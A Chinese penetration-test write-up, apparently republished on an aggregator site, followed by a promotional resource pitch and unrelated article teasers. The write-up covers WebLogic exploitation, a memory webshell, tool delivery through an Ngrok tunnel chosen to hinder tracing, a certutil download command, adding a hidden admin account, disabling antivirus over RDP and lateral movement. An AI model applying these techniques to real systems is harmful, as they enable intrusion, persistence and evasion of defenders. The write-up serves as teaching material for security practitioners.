渗透测试实战—高权限shell碰上杀毒软件,会发生什么?

免责声明:文章来源于真实渗透测试,已获得授权,且关键信息已经打码处理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

前言

主要记录一次获取高权限用户的shell后如何直面杀毒软件上传工具,并继续进行内网信息收集和横向工作,从而进一步扩大战果的实战记录。也推荐一下在本文中使用到的一个反向代理工具 ——Ngrok,文中我利用该工具在没有使用肉机和VPS的情况下便完成了本次渗透测试工作。

一、漏洞利用

信息收集的时候发现隐藏的资产,进行指纹识别使用了Weblogic中间件。随便访问一个不存在的目录,产生报错,很明显Weblogic的特征,直接上工具扫描漏洞。

运气也是相当好的,确实存在漏洞(CVE_2020_2551),并且获取的是Administrator的用户权限。

继续利用工具写入内存马,通过哥斯拉进行控制,成功连接webshell。

二、Ngrok工具

拿到webshell后,我便想尝试利用shell下载内网信息收集工具从而继续进行渗透工作。这里就用到了我说的Ngrok工具。这是一个反向代理工具,它能够创建一个安全的隧道,将本地服务器映射到互联网上。

先利用Python在存放内网工具的目录下启动HTTP服务器,记得要确保HTTP服务器开启了目录浏览功能

接着,就是利用Ngrok工具将内网的HTTP服务映射出去,而映射的端口就是刚刚Python启动HTTP服务的端口。命令也是很简单,输入后直接回车就能成功将本地的HTTP服务映射出去,并且获取了一个临时的域名。

而且因为是临时的域名,关闭工具和服务后域名也就没有了,这也就使得防守方难以通过域名进行溯源。


直接访问临时域名就可以浏览目录内容了,如果访问下载目录内工具,在命令终端也会显示信息,可以由此看出是否成功下载。(Ngrok工具初次使用时是需要进行配置的,配置之后就可以像文中步骤一样使用,建议大家自行查询一下Ngrok使用方法)

三、直面杀毒软件

尝试利用curl或wget下载信息收集工具,但是测试发现该系统没有curl和wget这两个工具。这时我就想到了windows中的另一个默认自带的工具 ——certutil,本来该工具是用来处理与证书相关的操作的,但是利用特殊的命令一样能起到下载文件的作用。

certutil -urlcache -f -split http://…

可以看到我确实成功下载了 fscan 工具,但是一运行就报错。查看后发现fscan没了,这服务器肯定是有杀软的,而工具做了静态免杀。懒得再搞免杀绕过了,既然是Administrator用户,那直接远程连接到桌面关掉杀软就好了。

利用命令行添加 test 用户,并将该用户加入到管理员组中。

查看端口开放情况发现开放了3389,那就不用再开启RDP服务了。直接利用哥斯拉插件写入Suo5内存马,利用工具搭建正向代理。

确认正向代理搭建成功后,直接用远程桌面连接工具连接内网地址进行登录,成功登录到刚刚创建的test用户。

在登录后,直接手动关闭杀毒软件,并再次上传工具。这次就没有问题了,工具成功上传,也没有再被杀掉。

四、内网横向

利用fscan扫描内网,分析发现应该是一个内网小集群。机器不是很多,但也依然发现了不少有用的信息。通过fscan的扫描获取到了一台服务器的SSH弱口令;同时,内网中也存在另一台同样使用了Weblogic中间件的服务器。

利用SSH弱口令远程登录到服务器,成功获得root用户权限。通过查看.bash_history文件,发现该服务器通过防火墙开放了1521端口,猜测该服务器上可能存在Oracle数据库,可惜因为网络和时间问题没有继续进行测试。

使用漏洞利用工具对新发现的存在Weblogic中间件的服务器进行扫描,也是存在一个Weblogic的低版本漏洞,并成功获得Administrator用户权限。

总结

成功获取了两台Windows主机的Administrator用户权限,一台Linux主机的root用户权限。

本次渗透到是没有什么难度,但在这个过程中也是出现了一些问题。在搭建正向代理后,习惯性利用ping进行网络连通性测试,但是就是一直ping不通该服务器的内网IP地址,这一度让我以为根本没有代理成功。但是经过多次测试后,发现是服务器防火墙策略禁ping了,也是第一次在实际的渗透测试内网环境中遇到这种情况。还是那个话,还是需要多实战,多思考。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1149175.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

B11G2327N71DYZ,可独立控制载波和峰值偏置的功率放大器

型号介绍今天我要向大家介绍的是 Ampleon 的一款放大器——B11G2327N71DYZ。 它将载波和峰值器件、输入分路器、输出合路器以及预匹配网络都集成在了一起,这种设计极大地简化了外部电路的复杂性。此外,芯片的输出阻抗被优化为 20 Ω,而输入阻…

视觉语言模型实战|Qwen3-VL-WEBUI助力业务系统智能化升级

视觉语言模型实战|Qwen3-VL-WEBUI助力业务系统智能化升级 在某银行智能客服系统的后台,一张用户上传的手机银行界面截图刚被接收,不到5秒后系统返回了结构化操作建议:“检测到转账金额输入框为空,请引导用户补全信息。…

MiDaS单目深度估计实战教程:从零部署到热力图生成完整指南

MiDaS单目深度估计实战教程:从零部署到热力图生成完整指南 1. 引言:开启3D空间感知之旅 1.1 单目深度估计的技术背景 在计算机视觉领域,如何让AI“理解”二维图像背后的三维结构,一直是核心挑战之一。传统方法依赖双目立体匹配…

Intel MiDaS部署教程:无需Token验证的轻量级深度估计方案

Intel MiDaS部署教程:无需Token验证的轻量级深度估计方案 1. 引言 1.1 AI 单目深度估计 - MiDaS 在计算机视觉领域,从单张二维图像中恢复三维空间结构是一项极具挑战性的任务。传统方法依赖多视角几何或激光雷达等硬件设备,成本高且部署复…

单目视觉测距教程:MiDaS模型在不同场景下的应用

单目视觉测距教程:MiDaS模型在不同场景下的应用 1. 引言:AI 单目深度估计的现实意义 随着计算机视觉技术的发展,如何从一张普通的2D图像中感知三维空间结构,成为智能驾驶、AR/VR、机器人导航等领域的关键挑战。传统双目立体视觉…

MiDaS深度估计解析:高精度测距技术

MiDaS深度估计解析:高精度测距技术 1. 引言:单目深度估计的技术演进与MiDaS的定位 在计算机视觉领域,三维空间感知一直是核心挑战之一。传统方法依赖双目立体视觉、结构光或激光雷达(LiDAR)等硬件方案获取深度信息&a…

基于RaNER模型的中文NER实践|集成WebUI的实体高亮识别

基于RaNER模型的中文NER实践|集成WebUI的实体高亮识别 1. 背景与需求分析 在信息爆炸的时代,非结构化文本数据(如新闻、社交媒体、企业文档)占据了数据总量的80%以上。如何从这些杂乱无章的文字中自动提取出有价值的信息&#x…

信息抽取场景落地指南|用AI智能实体侦测服务提升效率

信息抽取场景落地指南|用AI智能实体侦测服务提升效率 在当今数据爆炸的时代,非结构化文本(如新闻、报告、社交媒体内容)占据了企业数据总量的80%以上。如何从这些杂乱无章的文字中快速提取关键信息,成为提升业务效率的…

ResNet18异常检测:工业制造缺陷识别实战

ResNet18异常检测:工业制造缺陷识别实战 引言 在工业生产线上,质检环节往往是最耗时且容易出错的环节之一。想象一下,一位质检员每天需要检查成千上万个产品,用肉眼寻找微小的划痕、凹陷或颜色异常,这不仅效率低下&a…

Kubernetes Pod 进阶知识点详解:资源管理、健康检查与生命周期

目录 前言 一、Pod 资源限制:合理分配集群资源 1. 资源限制的核心作用 2. 资源限制的两大核心配置 3. 资源单位说明 (1)内存单位 (2)CPU 单位 4. 资源限制配置案例 5. 查看资源分配状态 二、Pod 健康检查&am…

吐血推荐!10个AI论文平台测评,本科生毕业论文必备

吐血推荐!10个AI论文平台测评,本科生毕业论文必备 2026年AI论文平台测评:为什么你需要这份指南? 随着人工智能技术的不断进步,AI论文平台已经成为本科生撰写毕业论文的重要辅助工具。然而,面对市场上琳琅满…

MiDaS模型部署教程:CPU环境下实现高精度单目深度估计

MiDaS模型部署教程:CPU环境下实现高精度单目深度估计 1. 引言 1.1 AI 单目深度估计 —— 让2D图像“看见”3D世界 在计算机视觉领域,单目深度估计(Monocular Depth Estimation) 是一项极具挑战性但又极具应用价值的技术。它旨在…

信息抽取新利器|AI智能实体侦测服务实现即写即测精准识别

信息抽取新利器|AI智能实体侦测服务实现即写即测精准识别 1. 背景与需求:非结构化文本中的信息提取挑战 在当今数据爆炸的时代,大量有价值的信息隐藏于新闻报道、社交媒体、企业文档等非结构化文本中。如何从这些杂乱无章的文字中快速、准确…

MiDaS模型实战案例:无人机系统

MiDaS模型实战案例:无人机系统 1. 引言:AI 单目深度估计的现实意义 在智能硬件与自主导航系统快速发展的今天,三维空间感知能力已成为无人机、机器人、AR/VR等前沿应用的核心需求。传统方案依赖激光雷达(LiDAR)或多目…

单目深度估计应用案例:MiDaS在机器人导航中的实践

单目深度估计应用案例:MiDaS在机器人导航中的实践 1. 引言:从2D视觉到3D空间感知的跨越 随着智能机器人技术的快速发展,环境感知能力成为决定其自主性与安全性的核心要素。传统机器人多依赖激光雷达(LiDAR)或多目立体…

信息抽取实战|用AI智能实体侦测服务快速高亮人名地名机构名

信息抽取实战|用AI智能实体侦测服务快速高亮人名地名机构名 在当今信息爆炸的时代,非结构化文本数据(如新闻、报告、社交媒体内容)呈指数级增长。如何从这些海量文本中快速提取关键信息,成为企业、研究机构乃至政府单…

文科生也能懂:AI万能分类器极简体验教程

文科生也能懂:AI万能分类器极简体验教程 引言:当文科生遇上AI分类器 作为一名人文专业的学生,你可能经常需要处理大量文本数据——比如整理文献资料、分析社交媒体评论,或者对问卷调查结果进行分类。传统方法往往需要手动阅读和…

MiDaS单目测距完整指南:从图片上传到热力图解析

MiDaS单目测距完整指南:从图片上传到热力图解析 1. 引言:AI 单目深度估计的现实意义 在计算机视觉领域,如何让机器“感知”三维空间一直是核心挑战之一。传统方法依赖双目摄像头或多传感器融合(如LiDAR),…

AI万能分类器最佳实践:低成本云端GPU方案

AI万能分类器最佳实践:低成本云端GPU方案 引言:中小企业主的AI分类器入门指南 作为中小企业主,您可能经常听到AI分类器能优化业务流程,比如自动分类客户反馈、智能整理订单信息或者过滤垃圾邮件。但面对动辄几十万的AI系统采购费…

收藏!LangChain中构建稳定智能体的上下文工程完全指南

本文深入探讨AI智能体开发中的上下文工程,解释了如何在LangChain中通过瞬态和持久上下文构建可靠的智能体。文章详细介绍了上下文的数据来源(运行时上下文、状态和存储)、生命周期管理,并提供了代码示例和避坑指南,帮助…